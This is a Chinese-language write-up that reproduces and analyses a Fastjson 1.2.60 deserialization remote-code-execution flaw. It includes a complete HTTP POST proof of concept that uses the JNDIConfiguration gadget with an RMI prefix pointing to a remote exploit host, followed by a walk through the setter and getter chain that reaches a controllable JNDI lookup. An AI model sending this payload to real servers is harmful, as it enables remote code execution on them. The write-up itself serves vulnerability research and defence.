Fastjson 1.2.60 Rce 漏洞复现&分析
0x01 漏洞背景
影响范围:1.2.60
漏洞描述:该漏洞主要在开启AutoTypeSupport情况下的利用,针对该gadget还没在黑名单当中的利用。
0x02 漏洞复现
Poc1:
POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 110
{
"@type":"org.apache.commons.configuration.JNDIConfiguration",
"prefix":"rmi://192.168.52.129:9999/#Exploit"
}
0x03 漏洞分析
其他的流程都没有变化,只是被找到了这条gadget刚刚好在黑名单之外。使用poc攻击该写好的接口应用(开启AutoTypeSupport)。
从前面的分析便可知,在反序列化还原对象的时候,会先创建该类的对象,然后调用其set方法对相应属性进行赋值,调用get方法对相应属性进行值获取。
在反序列化时,调用javabean的set方法对prefix进行赋值,如下
最终会调用org.apache.commons.configuration.JNDIConfiguration的setprefix方法进行赋值。
又由于在反序列化过程中,需要获取反序列化对象的属性值,因此调用了其get方法。
最终获取baseContext属性时,调用了JNDIConfiguration的getBaseContext方法
而BaseContext方法最终调用了lookup,且其参数可控,为我们的prefix参数。